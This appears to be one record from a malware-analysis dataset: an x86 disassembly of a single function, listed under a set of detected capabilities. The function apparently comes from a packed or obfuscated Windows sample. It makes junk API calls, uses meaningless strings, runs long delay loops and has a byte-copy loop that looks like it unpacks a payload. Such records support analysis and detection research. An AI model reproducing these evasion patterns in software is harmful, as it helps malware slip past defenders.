Function at 0x46b840
Capabilities:
Accept command line arguments
Connect pipe
Copy file
Create directory
Get disk information
Get file attributes
Get hostname
Identify system language via api
Manipulate console buffer
Query environment variable
Read pipe
Set console window title
Set file attributes
Write pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1884
call fcn.0040a140
mov eax, dword [0x46f004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterW]
push edi
xor edi, edi
jmp 0x46b870
cmp dword [0x27bbf04], 0x7d
jne 0x46b8a4
push 0
lea eax, [ebp - 0x1004]
push eax
lea ecx, [ebp - 0x1848]
push ecx
lea edx, [ebp - 0x1840]
push edx
lea eax, [ebp - 0x184c]
push eax
push 0
lea ecx, [ebp - 0x1804]
push ecx
push 0
call ebx
cmp edi, 0x4fa
jne 0x46b8be
mov edx, dword [0x4707d0]
add edx, 0x9e49
mov dword [0x27bbf04], edx
cmp dword [0x27bbf04], 0xeb1
jne 0x46b903
xor ecx, ecx
xor eax, eax
lea edx, [ebp - 0x1850]
push edx
mov word [ebp - 0x183c], ax
mov word [ebp - 0x183a], cx
mov eax, dword [ebp - 0x183c]
push eax
push ecx
push ecx
push ecx
call esi
mov dword [0x4713b8], 0xec58ac98
mov dword [0x4713bc], 0xffffffff
inc edi
cmp edi, 0x1238bdc
jl 0x46b870
mov edi, dword [sym.imp.KERNEL32.dll_GetCommandLineW]
xor esi, esi
cmp esi, 0x5605e1
jne 0x46b92c
mov ecx, dword [0x470008]
mov dword [0x27bc034], ecx
cmp dword [0x27bbf04], 0x168
jne 0x46b93a
call edi
inc esi
cmp esi, 0x602bdc
jl 0x46b918
cmp dword [0x27bbf04], 0x7c
jne 0x46baac
lea edx, [ebp - 0x1850]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
xor edi, edi
push edi
call dword [sym.imp.USER32.dll_SetFocus]
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
push edi
call dword [sym.imp.KERNEL32.dll_FindAtomA]
lea eax, [ebp - 0x184c]
push eax
lea ecx, [ebp - 0x1804]
push ecx
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_SearchPathW]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
lea edx, [ebp - 0x1854]
push edx
lea eax, [ebp - 0xc04]
push eax
push edi
push str.Duhadakafu_wofelewubogo_xamuludemuhi_gurujocakujuw
push str.Jaxukutoceh_jozewo
push str.Yihoses_worowopep
call dword [sym.imp.KERNEL32.dll_SearchPathA]
push 0x2e
lea ecx, [ebp - 0x1834]
push edi
push ecx
mov dword [ebp - 0x1838], edi
call fcn.00405f20
add esp, 0xc
push edi
lea edx, [ebp - 0x1838]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_GetDefaultCommConfigA]
push edi
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
lea eax, [ebp - 0x1848]
push eax
mov dword [ebp - 0x1848], edi
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
xor edx, edx
xor ecx, ecx
mov word [ebp - 0x183e], dx
xor eax, eax
mov word [ebp - 0x183a], cx
lea edx, [ebp - 0x185c]
push edx
mov word [ebp - 0x183c], ax
mov eax, dword [ebp - 0x183c]
push eax
mov word [ebp - 0x1840], cx
mov ecx, dword [ebp - 0x1840]
push ecx
lea edx, [ebp - 0x1844]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputA]
push edi
call dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push edi
lea eax, [ebp - 0x804]
push eax
push edi
call esi
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
cmp dword [0x27bbf04], 0x2d
jne 0x46ba84
lea ecx, [ebp - 0x1874]
push ecx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [0x27bbf04], 0x54
jne 0x46ba9d
push edi
push edi
push edi
call esi
push str.aosjdfniads.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push edi
call fcn.004012cd
push edi
call fcn.004012e3
add esp, 8
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
lea ebx, [ebx]
call edi
call ebx
cmp esi, 0x2563b
jge 0x46badc
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetUserObjectInformationA]
push 0
push 0
lea edx, [ebp - 0xc04]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
cmp esi, 0x24b8f
jg 0x46bb00
inc esi
cmp esi, 0xeda59
jl 0x46bac0
jmp 0x46bb21
cmp dword [0x27bbf04], 0xa
jne 0x46bb21
push 0
lea eax, [ebp - 0x804]
push eax
push 0
push str.wuyehanafeposuwufegu
push 0
call dword [sym.imp.KERNEL32.dll_FoldStringW]
cmp dword [0x27bbf04], 0x2a
jne 0x46bbe5
xor esi, esi
push esi
mov dword [0x27bbef8], esi
mov dword [0x27bbefc], esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CallNamedPipeW]
lea ecx, [ebp - 0x1844]
push ecx
lea edx, [ebp - 0x804]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push esi
push str.rofiricidihafitaduxuyivetuna
push str.pajudajapedufehuwubefunugaweh
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
lea eax, [ebp - 0x1854]
push eax
push str.Wax_bocituxisesay_lacicej_gamudamezapobo
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
push esi
push esi
call fcn.004010d1
push str.0__s__d__f
call fcn.004012b0
push esi
call fcn.00401043
push esi
call fcn.00401160
push esi
push esi
call fcn.004010d1
call fcn.00406eb7
push esi
push esi
call fcn.004010d1
push esi
call fcn.0040100f
push esi
push esi
push esi
push esi
call fcn.00401658
push esi
call fcn.00401415
add esp, 0x3c
call fcn.0046b3f0
mov ecx, dword [0x27bbf04]
xor eax, eax
test ecx, ecx
jbe 0x46bc2d
mov edi, dword [0x27bc034]
mov esi, dword [0x27bbd4c]
mov edx, 0x17bc
jmp 0x46bc10
mov bl, byte [edi + eax + 0x9e49]
mov byte [eax + esi], bl
cmp ecx, 0x8d
jne 0x46bc28
mov dword [0x27bbd50], edx
inc eax
cmp eax, ecx
jb 0x46bc10
call fcn.0046b570
call fcn.0046b420
call fcn.0046b7d0
mov edi, dword [sym.imp.KERNEL32.dll_GlobalReAlloc]
mov ebx, dword [sym.imp.KERNEL32.dll_SetStdHandle]
xor esi, esi
lea ebx, [ebx]
cmp dword [0x27bbf04], 0x41
jne 0x46bc71
push 0
push 0
push 0
call edi
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmp esi, 0xd606b
jne 0x46bc7e
call fcn.0046b410
cmp dword [0x27bbf04], 0xc
jne 0x46bc96
push 0
lea ecx, [ebp - 0x1844]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
inc esi
cmp esi, 0x24e87d
jl 0x46bc50
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov ebx, 0x1d5ed5
mov edi, 0x8e4e4fe0
nop
cmp dword [0x27bbf04], 0x7c4
mov dword [0x27bbd54], edi
jne 0x46bccb
push 0
push str.faseha
call esi
sub ebx, 1
jne 0x46bcb0
mov ecx, dword [ebp - 0x187c]
pop edi
pop esi
xor eax, eax
pop ebx
jmp 0x46bce0
cmp eax, 0x408e
jle 0x46bcef
cmp ecx, 0xf5bed7
jne 0x46bcf7
inc eax
cmp eax, 0x687ed2
jl 0x46bce0
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401000
mov esp, ebp
pop ebp
ret